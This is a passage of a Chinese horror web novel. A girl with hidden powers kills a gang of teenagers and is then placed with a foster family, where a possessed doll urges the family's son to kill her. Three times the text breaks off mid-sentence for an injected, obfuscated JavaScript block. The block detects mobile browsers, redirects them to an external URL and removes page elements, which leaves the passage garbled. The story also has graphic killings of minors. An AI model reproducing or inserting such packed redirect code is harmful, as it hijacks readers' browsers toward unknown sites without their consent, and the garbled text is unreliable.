团队中的另一个男孩误打误撞跑到了瑞奇附近,他瞧见了瑞奇的惨状,顿时眼泪齐飞。 “真该死真该死!妈!妈妈救命!”他一边哭喊着,一边往另一个方向跑。 慌不择路的他意外撞上一根矮一些的树枝,顿时眼冒金星,踉跄着往旁边走了几步。 突然,他脚下一空,掉进了一个洞里。 他忘了,这林子里有他们一伙人为了好玩设下的陷阱。 而这个洞,正是他自己挖的。 尖锐的木桩扎穿了他的身体,让他动弹不得。 他努力维持着呼吸,想求救,但这时,一块石头不知道被谁吊起来,悬空正对着他的头。 他慌了,拼命想起身,但是木桩扎的他死死地,因为起身的动作反而撕扯出更大的伤口。不一会儿,坑底就多了一摊血泊。 他对此毫无察觉,只想离开坑底。 石头映在他瞳孔里,越来越高,越来越高,到了一个高度停止。 男孩刚想松一口气。 咚—— 石头坠了下来。 他的头被砸的粉碎。 队伍中唯一的女孩儿佩奇还算聪明,她清楚自己的方向,只想快点回家。 中途又经过那片湖泊,望着湖水,佩奇有些犹豫,但伙伴们的惨叫声一刻不停地折磨着她。 她一个猛子扎进了水里。 这片湖泊并不大,平日以她的体力游两个来回不成问题。 但是今天,不知怎么的,佩奇觉得四肢格外沉重。 就好像,有人抱着她往水下拖似的。 她安慰自己这只是心理作用,只要回家了就一切都好了。到时候不管布莱特怎么威胁她,她都不会再跟他混。 她这样想着,忽然右小腿传来一阵刺痛,像是有东西划破了她的腿。 “啊!” 佩奇尖叫一声,强忍着卯足力气加速往前划,但腿上的疼痛越来越剧烈,终是在湖中央时,她另一条腿也抽筋了。 她的身体如同吸了水的棉花,迅速下沉。佩奇还想自救,双手划拉着向前。 可就在这时,一只手按在了她的头顶,并用力往下按。 咕嘟嘟—— 她灌了不少水。 佩奇还想反抗,但是头上的手完全不给她机会。 借着月光,她透过水面只能看见要杀自己的人很小,或许只是个小孩子。 她想哭,想求饶。 但是她没有机会了。 正如他们也没有给过史蒂夫机会一样。 咕嘟嘟—— 佩奇沉了下去,几分钟后又飘起来,湖面归于平静。 “还剩两个。”科蒂斯站在湖边,金色长发湿透了,贴紧她的脸颊,显得那张漂亮的小脸有些苍白。 那双纯净的蓝色眼眸一眨不眨,静静盯着湖面,而湖面也倒映着她的身影,在朦胧的月光下影影绰绰。 直到最后一个涟漪消失,湖面上的倒影也消失不见。 除去布莱特和库珀,最后剩下的那个男孩,科蒂斯都没有出手,他就自己给自己吓破了胆,意外摔在石头上给自己磕破了脑袋。 科蒂斯不知道这样的人是怎么存活这么久的。 看来外面的世界比她想的还要美好宽容,都不会淘汰不合格的人。 最后,科蒂斯的目光锁定了还在逃窜的布莱特。 她挑挑眉,拿出从他那里捡到的弩箭,不慌不忙地上好,瞄准那个奔跑中的身影。 咻—— 箭矢擦着对方的耳朵射过,带下来一块肉。 布莱特捂着耳朵不敢停下,一边叫嚷一边逃跑。 “到底是谁!我会杀了你的!我迟早会杀了你!” 科蒂斯耸耸肩,又上好一支箭矢,这一回瞄准的是他的腿。 “啊!”布莱特痛叫一声,箭头精准扎进他的小腿。 他拖着腿一瘸一拐地往林子钻,嘴里还不忘放狠话。 “出来!出来啊你这个懦夫!让我们来公平对决!我会把你打进屎里!” 科蒂斯不喜欢他说的话,所以下一箭,她射的是嘴。 箭矢在半空中转了个弧度,从布莱特的右脸穿透到左脸,那张令人讨厌的嘴便再也说不了话。 这一次,布莱特是真的怕了。 他跪在地上,完全不顾形象地嚎啕大哭起来。 他不知道敌人是谁,也不知道对方在哪儿,现在更不能说话讨扰,只好一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385827|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍又一遍地磕头,祈求对方能放过自己。 他拼命表达自己只是个孩子,他值得第二次机会,他以后也会改过自新,好好做人。 呵。 这是连三岁小孩都不会相信的谎话。 他都不会放过珍妮和史蒂夫,自己又怎么会放过他呢。 等戏弄够了,科蒂斯慢悠悠地瞄准他的心脏。 ……… “女士?女士?醒醒。” 珍妮从睡梦中惊醒,条件反射拿起木棍挡在身前。 “WOW,小心,女士,你还好吗?” 她眨了眨眼,确定问她话的人,穿着警察制服。 “你是警察?”她呆呆询问。 “当然,女士。”警察回答。“来吧,我们可以帮你。” 珍妮糊涂地起来,走到外面,这才发现林子里来了许多警察,刺眼的警车灯光闪烁着,差点让她流泪。 “我爱人!”她反应激烈。 “是我们在林子里找到的那位吗?”警察及时安抚她,指了指不远处。 两名警察正抬着担架过来,担架上面的,正是史蒂夫。 珍妮哭了出来,小跑过去:“史蒂夫!” 她捧着爱人的脸,泣不成声:“你还活着,你还活着。” “Yes。”史蒂夫虚弱地笑了笑。“看来我很幸运。” 珍妮破涕而笑。 “我知道现在不是什么好时机。”史蒂夫忽然开口,他颤颤巍巍地从口袋里掏出一枚戒指。“但是,我准备了很久,我能问出那个问题吗?” 珍妮捂着脸,差点又哭了:“当然。” 她戴上戒指,亲了亲史蒂夫的额头。直到他被警察抬上救护车,她忽然想起来科蒂斯,连忙寻找女孩的踪迹。 还好,女孩儿乖乖地坐在一名女警察身边,身上披着毛毯,正在被投喂热可可。 珍妮去到女孩儿身边,搂住她:“谢谢,科蒂斯。” 科蒂斯歪歪头:“为什么?” 珍妮疑惑:“不是你跑出去找来警察的吗?话说回来,你是什么时候出去的?” “不。”科蒂斯摇头。“我一直在睡觉,今天早上才被叫醒。” “什么?”珍妮更加疑惑,只能求助女警。 “事实上我们是接到了报警,说林子里有杀人魔出没才赶来的。”女警的声音藏着紧张,她欲言又止,捂上科蒂斯的耳朵后才继续说道。 “哦,天呐,那么多孩子,都被杀人魔残忍杀害,真是太可怕了。至于你们还有你的爱人,都是我们在搜寻尸体的途中找到的。” “你的爱人真的很幸运,被杀人魔折磨成这样还活了下来。上帝啊,你真该看看那些孩子的死状,真让人害怕。” “唉,早该把这片森林围起来不让人靠近,要知道它东边连着的那片山林一直有杀人魔出没,或许正是他们流窜了过来。” “杀人魔?”珍妮惊讶,又捕捉到一个重点。“等等,孩子的尸体?” “是的,看那边,那是唯一活下来的幸运儿。”女警又指了指不远处。 珍妮认出来那位坐在树下,被几个警察围住的少年,正是那群青少年中唯一对他们施以援手的。 只是,他看上去精神很不好,像是看到了什么极为可怕的事。 所以,那些孩子都被杀人魔杀死了? “不,我的爱人他不是…”珍妮想辩解,却又停下。 那些孩子也并不无辜,史蒂夫正是被他们折磨成这样的。 谁会信这话,说不定反而会将他们当做嫌疑人抓起来。 于是,她咽下解释,不再多说。 只是心里对那些青少年的死亡极为痛快。 死的太好了。 珍妮:“我和我的爱人会去做笔录的,只怕我们帮不上什么忙,我们也并没有看清什么。” “没关系。”女警对这个可怜的女人报以同情。“别担心,笔录只是流程,你和你的爱人还有孩子很快就能回家。” 科蒂斯的眼睛忽的亮起来,她等了半天总算等到她们聊起自己的归宿。 她想和珍妮一起生活,他们已经成为了家人,便自然应该在一起。 “孩子?不不,她不是我的孩子。”珍妮反驳。 科蒂斯的眼神骤然黯淡下去。 珍妮:“事实上这孩子是我们在这林子里捡到的,我们也不知道她的来历,还烦请你们帮忙。” 听完珍妮的叙述,女警的神情逐渐严肃:“上帝啊,是谁会遗弃这么可爱的孩子?” 她怜爱地摸了摸科蒂斯的发顶:“别害怕,甜心,我们会帮你找到你的家人的。” 科蒂斯双目放空,面色寡淡,木讷地点了下头。 5. 第 5 章 “来吧,以后这里就是你的新家。”蒂娜对牵着她手的女孩儿温声说道。 作为一名儿童福利机构的工作人员,蒂娜总是尽自己最大的能力去帮助那些身处困境中的孩子。 为他们摆脱痛苦的原生家庭,为他们寻找家人。 她一向都做的很棒,那些孩子过上幸福生活后的笑脸是她最大的动力。 可是这一次的工作却让蒂娜犯了难。 因为这位名叫科蒂斯的女孩,实在是特别的过头。 她太安静了,从来不吵不闹,也不哭不笑,更不表达自己的想法。 你给她再难吃的食物,她都会默不作声地吃掉,你给她一本无聊的书,她也会乖乖坐在椅子上看上一整天。 而当她不动作的时候,你几乎会认为,那是一个精致的人偶。 漂亮,僵硬,没有表情,也没有生气。 接手科蒂斯以来,蒂娜尝试了很多办法,都没能让她有所转变。而她也拒绝吐露任何家庭信息,甚至连姓也不愿意讲。 这让蒂娜总是忍不住联想,这样一个可爱的孩子,究竟遭遇了怎样的磨难才会变成现在这样。 因为信息缺失,警察努力了许久,还是没能找到科蒂斯的亲人,没办法,他们只能先为科蒂斯寻找寄养家庭,以后再慢慢寻找。 蒂娜实在疼惜这个女孩,她做了很久的调查,呕心沥血为她挑选了一个算不上完美,但绝对温馨的家庭。 父亲是一位建筑工程师,收入稳定。 母亲曾是护士,现在辞职在家,全心全意陪伴孩子。 还有比女孩儿大上两岁的哥哥,刚上二年级,最近在家里过暑假。 这样的家庭,最能温暖科蒂斯这样的孩子。 “别担心,”蒂娜蹲下来,与科蒂斯视线齐平。“米勒先生他们都是很好的人,他们也非常愿意接纳你。” 女孩睫毛颤动一下,小幅度地点了下头,似乎并没有表现出多少期待。 蒂娜忍不住心里叹一口气。 她不知道科蒂斯这样的状态要持续多久,只希望新家庭能为她带来多一些笑容。 门恰时被打开,一对看着普通,但很恩爱的夫妻笑着迎出来。 “你一定就是科蒂斯。”女主人半蹲下来,眉眼弯弯地跟科蒂斯打招呼,语气中满是期待与关爱,又藏着一点紧张。“哦,你真可爱,我是玛莎,真高兴见到你。” 科蒂斯抬了抬眼眸,眼底闪动着一丝不易察觉的审视。 沉稳慈爱的父亲,温柔美丽的母亲,这是很常见的夫妻关系。 “你好,我是克里斯。”男主人挺着小肚子,变魔术般从背后拿出一个做工精致的玩偶。“这是我们送给你的见面礼,希望你喜欢。” 玩偶顶着一头乱蓬蓬的红棕色长发,穿着红蓝色横条纹衫加蓝色工装裤,是现下爆火的玩偶恰吉,很多孩子都喜欢。 普通的人员组成,普通的审美眼光,普通的迎接新成员态度。 可也是这份普通,透露出一个家庭的温馨。 这个新家庭,似乎还不错。 科蒂斯牵动嘴角,露出一个极小的微笑。 她接过恰吉,小声说:“谢谢。” 蒂娜失态地捂住嘴,压抑着激动对玛莎两人说道:“看来她很喜欢你们,我还是第一次见她笑。” 玛莎和克里斯对视一眼,瞧见了彼此的喜悦。 说话间,一个长相可爱的男孩在玛莎身后探头探脑,大大的棕色眼睛肆意打量着科蒂斯,看起来不是很高兴。 “你一定就是亚当了。”蒂娜说道。“这是你的妹妹,科蒂斯。我听说你一直都很期待妹妹呢。” 玛莎笑了笑:“是啊,半个月前告诉他的时候,他兴奋的好几晚没睡,还一直帮忙布置科蒂斯的新房间。” 对于玛莎的话,亚当没有给予肯定,反而是撅起嘴,有些不满地看着克里斯:“为什么要把我的玩偶给她?爸爸,那是你给我买的。” “你不是已经玩腻那个玩偶了吗?”克里斯耐心解释。“还想扔掉他,而且我征求过你的同意处置它,记得吗?” “我想扔掉是因为……”亚当皱着眉头,欲言又止。“总之,我以为你会把它放阁楼里什么的,而不是给别人。” 玛莎忍不住打断他:“她不是别人,亚当,她是你的妹妹,以后,你要学着跟她分享很多东西,好吗?噢,你今天是怎么了?你不是一直都很想见到科蒂斯的吗?” “因为我不想分享。”亚当皱了皱鼻子,低声嘟囔,忽然跑回了屋里。 在场的人只有科蒂斯听清了他的话,但她并不在意。 她喜欢米勒夫妇,成为他们的孩子是个不错的选择,至于这位不喜欢自己的“哥哥”…她当然也会爱他啦。 一家人就应该相亲相爱,她一定会努力让他喜欢上自己。 “亚当?”克里斯奇怪地看着自家儿子,又充满歉意地对蒂娜说。“真抱歉,亚当一周前还不是这样的,他一直对科蒂斯的到来很兴奋,今天也不知道是怎么回事。” 蒂娜理解地点点头:“开始的时候,男孩子们总是会对家庭新成员有些许不适,这很常见,我不会把这点写进评估报告的。” 玛莎和克里斯这才放下心来。 在交接完一些书面资料后,蒂娜就要离开了。 她之后会定期来访,确保科蒂斯得到应有的照顾。 临走前,她不舍地抱了抱科蒂斯。 蒂娜:“要过的开心,答应我?” 科蒂斯浓密的睫毛垂下来,半掩住那双没什么情绪的眸子。 实话说,她还是挺喜欢蒂娜的,毕竟这几个月里,她带给自己不少帮助,也是真心为自己好。 可惜,她不是家人。 科蒂斯轻声开口:“谢谢你,蒂娜。” 蒂娜抹去眼角的湿意:“下次见,科蒂斯。” 蒂娜走后,科蒂斯正式被克里斯和玛莎带进家里。 她在两人的带领下来到二楼的一个房间。 推开,房间里面装潢的粉粉嫩嫩,墙上挂着许多可爱的独角兽和芭比公主的装饰。 床很柔软,上面堆了不少可爱的公仔,床头的纱帘被绑成一个蝴蝶结,很可爱。衣柜也是粉粉嫩嫩的,里面已然装了几条漂亮的小裙子。 这大概是每个女孩儿都会喜欢的房间。 “你喜欢吗?”玛莎和克里斯搓了搓手,显得有些紧张。 喜欢?倒没有觉得。 可也没有讨厌的感觉。 她的情绪向来都很平淡,除了在面对家人的时候。 科蒂斯弯起嘴角,露出标准的笑容:“我很喜欢,谢谢爸爸妈妈。” 两人一怔,完全没有想到会这么快听到这个称呼。 而在短暂的愣怔后,是喷涌而出的开心。 “你喜欢就好。”玛莎说。“想要什么随时跟我们说,在这个家里你可以尽情撒娇。” 科蒂斯点点头。 “Ok,我们给你留点私人时间。”克里斯说。“等到明天我下班,我们就带你去商场,你可以想买什么就买什么,衣服,鞋子,玩具…” 亚当:“好耶!那我可以买游戏吗?” “不行,亚当,”玛莎不赞同地说道。“上周才给你买了游戏,不可以再买,明天是要给妹妹添购用品。” 亚当不高兴地垮下脸,幽怨地瞥了一眼科蒂斯。 克里斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385828|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“好了,亚当,我们走吧,让妹妹适应一下。哦,科蒂斯,亲爱的,等下记得下来吃晚饭。” 房门被贴心关上。 科蒂斯整个放松下来。 她望了一圈布置精致的房间,心情雀跃起来。 这是她的爸爸妈妈为她准备的,是属于她的房间。 从今以后,她就有属于自己的家了。 科蒂斯看向镜子,镜中金发蓝眼,如同洋娃娃一般的女孩瘫着一张脸,与这粉粉嫩嫩的房间不是很适配。 于是,她微微牵起嘴角,维持着一抹可有可无的笑意,顿时,冷淡的女孩儿变得亲和。 她会在这个家里好好生活,谁也不能破坏。 比如,某些意图不明的外来者。 科蒂斯笑意不减,用力晃动两下手中的玩偶恰吉。 从她看到恰吉开始,系统就在提醒她他是新的可绑定对象。 虽然暂时还看不出来究竟是什么躲在玩偶里面,但是,只要他敢伤害她的家人,她就不会放过。 “啊,真是丑陋的东西。”科蒂斯随手将恰吉扔进了垃圾桶,起身下楼。 她丝毫没察觉到,垃圾桶中的恰吉,眼珠转动了一下,浓浓的愤怒几乎要宣泄而出。 而恰吉也没察觉到,他身后的衣柜不知何时打开了一条小缝。 里面似乎有某种存在,正窥视着他。 来到楼下,晚餐已经布置好了。 香喷喷的各类烤肉,佐以烤蔬菜,再加上墨西哥风味塔可,主食则是土豆泥。 望着就很诱人。 “还有这个。”玛莎最后端上来一盘新鲜出炉的蓝莓派。 科蒂斯眼前一亮。 “我还是第一次做,希望你会喜欢。”玛莎笑道,切了第一块放到科蒂斯盘子里。 科蒂斯吹了吹还烫着的酥皮,小小咬了一口。 派皮酥酥的、微微焦香,还带着黄油的奶香味。 中间的蓝莓内馅绵密又湿润,酸酸甜甜的,味道刚刚好。 “这太美味了。”科蒂斯真心实意地夸赞。“谢谢妈妈。” 玛莎笑起来:“这是对我最大的认可,谢谢亲爱的。” 晚餐其乐融融,只是亚当并不开心。 亚当:“妈妈,为什么没有甜甜圈,我不喜欢蓝莓派。” 玛莎疑惑:“你之前不是挺喜欢的吗?” 亚当一噎,赌气说:“我现在已经不喜欢了,我想吃甜甜圈。” 玛莎:“不行,亲爱的,你忘了你中午已经吃了两个了吗?我本来就不允许你一天吃太多甜食。” 亚当理亏,舔了舔嘴:“但是,但是我想吃。” 他一指科蒂斯:“我不能吃,凭什么她能吃?” 玛莎和克里斯同时皱起眉来。 克里斯语气严肃:“够了小伙子,你今天是怎么回事?那不是对妹妹的态度!” 亚当闭了嘴,脸颊慢慢红透。 “没关系的爸爸。”科蒂斯打圆场。“哥哥并没有恶意,他也只是想吃自己喜欢吃的而已。” 多好的孩子啊。 玛莎和克里斯眼神柔软起来。 这样好的孩子,怎么会遭人抛弃呢。还有机构的工作人员,又怎么会说她是一个不爱说话、不爱表达的怪孩子呢。 “哥哥,”科蒂斯切下一块烤肉,推到亚当手边。“你喜欢吃烤肉吗?我们一起吃可以吗?” 亚当无声嘟囔了几句话,到底还是接受了科蒂斯的示好。 玛莎两人很欣慰。 晚餐重归平静。 可只有科蒂斯瞧见了亚当在说什么——你又不是我妹妹。 好吧,看来她要想想办法了。 6. 第 6 章 夜晚,科蒂斯躺在柔软又香喷喷的床上,感觉自己好像飘在云端,骑着独角兽奔跑。 这就是她梦寐以求的生活。 自从听说具子允前辈逃离公司,并找到自己的家人后,科蒂斯就一直很羡慕。 因为如果具子允那样公司中顶尖的存在都能过上正常的生活,那么她也可以。 往后的八年,她一直在等待机会。 她没有具子允那种等级的超能力,大脑开发程度也不如她。 所以,她只好一直保存力量,默默等待。 直到具子允被迫回到公司大开杀戒,她没有听从博士的指令前去围剿,反而是趁乱逃跑。 虽然最后还是被同组的队员发现杀死。 但她总算因祸得福,来到了这个世界,有了属于自己的家人。 科蒂斯觉得,她现在的感觉,一定就是幸福吧。 隔壁亚当的房间传来谈话声,科蒂斯提起精神听。 她的身体素质虽然大不如前,但是一墙之隔的说话声,她还是可以听到的。 隔壁是玛莎和克里斯,他们正在与亚当谈心。 “亚当,亲爱的,你能告诉我们吗?是因为你觉得自己可能会被忽视,所以才不欢迎科蒂斯吗?”玛莎耐心询问。“你知道你可以永远对我们坦诚。” 亚当撅着嘴,不知道怎么回答:“我…我只是不喜欢她待在我们家里,这是我们的家。” 玛莎和克里斯对视一眼,他们没有急着批评,而是继续沟通:“我们能知道原因吗?” 亚当犹豫了很久,才说:“我很害怕。” 玛莎:“害怕什么?” 亚当又不说话了。 克里斯猜测:“是有人对你说什么了吗?” 亚当呼吸停顿一下,缓缓摇头:“我只是害怕,你们会不喜欢我了。” “噢,亚当,我的孩子,”玛莎将他搂进怀里,亲亲他的额头。“你为什么会产生这种想法呢?爸爸妈妈对你的爱永远不会改变,不管家里新添多少人都是一样的,我们只是把对你的爱变成同等的两份,一起给了你和科蒂斯。” “嗯。”亚当皱皱鼻子,忽然又问。“爸爸,妈妈,你们为什么会突然想收养一个孩子呢?” “我们原本并不想收养任何孩子。”克里斯说道。“但在了解到科蒂斯的遭遇后…噢,那条可怕的杀人魔新闻,我到现在想起来还会发抖。总之,在看到科蒂斯的照片后,你妈妈和我就在想,不能让这样一个可怜的女孩儿无家可归。” “是的。”玛莎捧住亚当的脸。“我们想让她快乐,就像我们想让你快乐一样。” 亚当低下头,喃喃道:“我知道了,对不起爸爸妈妈,我今天表现的很糟糕。” 两人笑起来,一人给了他一个晚安吻。 隔壁安静下来,科蒂斯默默梳理着听到的信息。 大部分的信息都在她的掌控之中。 只除了一点。 关于是否有人对亚当说了不该说的话,他撒谎了。 判断一个人是否在说谎很容易,而对象是一个七岁的孩子时就更容易了。 他的呼吸短暂停顿,语气随之发生改变。 总结,的确有这样一个人,对亚当进行了挑唆。 那么,是谁呢? 或许只能等那个人自动跳出来。 他迟早会的。 科蒂斯打了个哈欠,翻了个身,白皙的小脸陷进粉色的柔软枕头里,很快就进入了梦乡。 嘎吱——嘎吱—— 深夜,科蒂斯被莫名的噪音吵醒。 她迷迷糊糊地揉了揉眼睛,从床头摸来眼镜坐起来戴上。 房间里一片漆黑,看不太真切,但噪声确实就在房间里。 准确的说是在她的床脚处。 科蒂斯眯起眼睛,看见床脚那里放着的摇椅正在小幅度地晃动。 嘎吱嘎吱。 噪声正是摇椅晃动时发出的声音。 可是,没有人坐,摇椅为什么会自己晃动呢? 科蒂斯下了床,打开床头的小夜灯,走过去。 嘎吱嘎吱嘎吱。 摇椅晃动的更快了,弧度也更大,就好像有哪个调皮的家伙故意在上面捣乱似的。 科蒂斯靠近,伸手按上椅背,噪声总算停止。 她把椅子转过来,上面空空如也。 科蒂斯歪歪头,并没有当一回事。 余光瞧见桌上的小镜子不知道怎么碰倒了,她顺手抬起放好。镜中,一道亮光一闪而过,快的让人以为是幻觉,科蒂斯缓慢眨了眨眼睛。 她关了灯,重新爬上床。 可能是因为掀开过被子、热量跑走的原因,科蒂斯总觉得背后凉飕飕的,睡不安稳。 她蹙着眉翻过身,鼻尖意外撞进一团乱糟糟的丝状物。 她睁开眼睛。 顶着红棕色假发的玩偶恰吉正睡在她的身边,他的表情变得如人类的般灵动,并逐渐狰狞扭曲。 科蒂斯不为所动。 没有听到预想中的尖叫,恰吉的嘴随即咧开了惊人的弧度,犹如被人从中间撕开似的。 “比卡布!哈哈哈哈!”他狞笑着举起雪亮的匕首,刺向女孩儿。 砰的一声响。 恰吉呆呆地从地上爬起来。 他挠挠头,不明白自己是如何在一秒钟内,从床上跑到地上来的。 还不等他想通,一只脚就踩上了他的脑袋,狠狠碾压。 “OH,Fuck!是谁!”他咒骂道,却无力反抗。 接着,他的匕首被轻易夺走,自己又被倒着提起来。 恰吉与他本想杀死的小女孩对上了面。 只是现在的女孩儿,完全不复白天的天真,神情冷漠,看他的眼神满是嘲讽。 “我还以为是多厉害的东西。”科蒂斯不屑开口。“原来只是个会动的玩偶而已。” “什么?”恰吉火冒三丈。“你怎么敢这样羞辱我!FUCK YOU!我要挖掉你的眼睛!” “哦?”科蒂斯抬眉,面无表情地提起了刀。 “什么?你要做什么?啊啊啊!”恰吉捂住眼眶惨叫。 科蒂斯捏了捏他的眼球:“是塑料的,真廉价。” 顺手扔进垃圾桶。 眼见自己根本打不过,恰吉果断选择断腿逃跑。 他狼狈地从窗户爬出去,喉咙里还带着惨叫的余韵。 科蒂斯没有去追,这个小东西的战斗力比她想的还要低,根本造不成任何威胁。 她躺回被窝,目前来看还是睡个好觉比较重要。 突然感到一阵寒冷,她缩了缩脖子,睁开眼,对不知何时盘踞在床头的妈妈说道:“不用担心,妈妈,他伤害不了我,随他去吧,才到这里第一天,我不想惹出太大的动静。” 伊迪丝俯下身,用冰块儿一样的嘴唇轻轻碰了碰科 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385829|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒂斯的额头。 “晚安,妈妈。”科蒂斯抬起上半身,亲了亲伊迪丝的脸颊,然后才睡过去。 伊迪丝目光逐渐温柔,她飘到床底下,与阴影融为一体。 …… “开窗!亚当!拜托了,好孩子,帮我打开!”这边,恰吉拖着残破的身体敲响了亚当的窗户。 亚当犹豫着,迟迟没有行动。 “我不会再对你恶作剧了!我发誓!”恰吉可怜巴巴地说。“拜托,你难道忘了我们曾经的美好时光吗!我还帮过你忙!还记得那个总是欺负你的死胖子吗?是我让他再也没法欺负你的!他现在还在医院呢!” 亚当纠结着眉头,最终还是打开了窗户。 “你不能再靠近我了。”男孩第一时间表达了自己的想法。“你总是做一些过分的事,那样不对。” 恰吉没有回答,他在急着找能当做眼睛的东西。 亚当为他找来两颗彩色的弹力球。 恰吉硬塞进去,弹力球在他的眼眶里一动一动的,看着很滑稽,但好歹能用。 “可我从来没有对你做过分的事。”恰吉靠近男孩,语言诱惑。“你忘了吗?我们是搭档,在我没醒来的时候,我们就是最好的朋友。而在我醒来之后,我们就成为了更加亲密的挚友,我们共享秘密,连玛莎和克里斯都不知道的秘密。” “虽然你后来疏远我,还想扔了我,可我从来都没有对你生过气。” 亚当低下头:“你是对的,我很抱歉。” 恰吉差点没绷住笑,他靠上亚当的肩膀,继续说:“我永远都不会害你,你应该更加信任我才对。哦,亚当,你先前的行为真是伤透了我的心。” 亚当面露愧疚。 “你是怎么变成这样的?”他转移话题。 恰吉一滞,眼眶里的弹力球鼓动两下。 “呜呜呜!”他嚎啕大哭起来,扑到亚当怀里。“是科蒂斯将我破坏成这样的!” 亚当:“为什么?你对她恶作剧了?” “当然没有!”恰吉为自己辩解。“那是因为她讨厌你!” 亚当愣了愣:“我?” “是的。”恰吉压低了声音,对着亚当耳语。“她讨厌你,她想要成为这家里唯一的孩子,可她不能直接对你动手,这样玛莎和克里斯就会把她送回机构。所以,她只能对我撒气。” “可是,”亚当抿了抿唇。“科蒂斯看上去并没有那么坏,她很可爱,也很热情。” “那都是她的伪装。”恰吉继续诱哄。“刚来第一天,她当然要表现的讨人喜欢,你瞧今天,玛莎和克里斯明显就更偏向她。如果你不管,她迟早会挤走你,独享玛莎和克里斯的爱。” 亚当瞬间慌乱。 年仅七岁的男孩没有太多独立思考的能力,且本能地想独占父母的爱。 恰吉的话刚好戳中他心中最害怕的部分。 亚当抱着腿,哽咽说道:“但是爸爸妈妈说,他们对我的爱永远都不会变。” 恰吉翻了个白眼:“大人总是骗人。” “只有我不会骗你。”玩偶的小手摸上亚当的眼睛。“我永远是你最忠诚的秘密朋友,比你的父母更亲密。听我的,亚当,你需要主动出击,不能让她得逞。” 亚当懵懵懂懂地抬头:“我该怎么做?” “呵呵呵。”恰吉笑的阴险。“我觉得,你需要杀了她。” 亚当倒吸了一口气,默默抱紧自己。 7. 第 7 章 翌日下午,克里斯带着一家人去了市中心的百货大楼。 夫妇二人好好给科蒂斯挑了许多生活用品,还有更多的衣服。 除了小裙子,还有普通的衬衫和裤子,只要是科蒂斯穿着合适,他们都为她买了下来。 亚当全程闷闷不乐,他觉得爸爸妈妈似乎真的看不到自己了。明明也带他来了,却不给他买东西。 “你想要这个玩具吗科蒂斯?”克里斯指着一整套芭比梦幻豪宅问道。“我瞧很多小姑娘都很喜欢,或许你可以借此跟她们交上朋友。” 什么!爸爸居然还再给她买玩具! 亚当不可置信。 他看着购物车里大部分都是为科蒂斯买的东西,给他的只占了一个小小的角落,就跟现在的他一样。 亚当瘪起嘴,望着科蒂斯的眼神带着嫉妒和怨恨。 “不用了,爸爸。”科蒂斯懂事地拒绝。“今天已经为我买了太多了,足够了。” “噢,不用考虑的这么多,科蒂斯。”玛莎俯下身,摸了摸科蒂斯的头。“你当然可以得到你想要的一切。” 女孩儿腼腆一笑:“谢谢妈妈。” 亚当懵懵地张开嘴。 明明他都不能想要什么就有什么,为什么科蒂斯可以? 他不服开口:“我也想要玩具!我想要那个最新款的机器人!” 克里斯和玛莎有些无奈。 “亚当,我们有过约定,一个月最多只能买一次玩具,记得吗?” 亚当:“可是科蒂斯就没有这种规矩。” 玛莎:“因为妹妹才刚来,而且,我们也只是给她买了这一次。” 亚当想反驳,可确实找不到理由。 似乎自己才是错的那一个。 等等! 他突然反应过来,为什么爸爸妈妈一直都帮着科蒂斯说话?反而在批评他? 不对不对,不应该是这样,爸爸妈妈应该站在他这边才对。 果然恰吉说的没错,这个突然闯入的家伙就是要把他挤走!然后独占爸爸妈妈! 亚当愤怒地将手里刚买的甜甜圈摔在地上:“为什么你们都向着她!她又不是我的妹妹!” 突如其来的爆发让玛莎和克里斯陷入迷茫。 但紧接着是愤怒。 克里斯:“亚当!你在发什么脾气!这太过分了!” “难道不是吗!”亚当仿佛要将所有的委屈和不满都宣泄出来。“她一来你们就什么给她!我要什么都不给我!明明我才是你们的孩子!” 玛莎头疼地想要安抚失控的大儿子:“好了,亚当,我们回家再说好吗?” 亚当不管不顾继续发泄,越来越口无遮拦:“为什么你们要领养她!为什么你们要给她准备房间!她明明是个坏家伙!我讨厌她!我恨她!她被自己的爸爸妈妈扔掉又不是我的错!” “够了!”克里斯忍无可忍,大声喝止。 玛莎更是难得的沉了脸。 一向好脾气的夫妇二人这次都被气的呼吸急促起来。 亚当被吓到,不敢再多说一句话。 “等回去之后,你不许再出门半步!你被禁足了小伙子!一个月!”克里斯说道。 二人在向周围被他们打扰的人道歉后,便离开了百货大楼准备回家。 车上的氛围更是压抑,没人敢说话。 亚当坐在后座,心里的怨气越来越浓重。 都怪科蒂斯!如果不是她,自己也不会被禁足! 他恶狠狠地瞪了一眼坐在身旁的女孩儿。 女孩儿正闭着眼睛,头靠在车窗上,金色的发丝遮了大半张脸,有几缕随着呼吸起伏。 她似乎已经睡熟了。 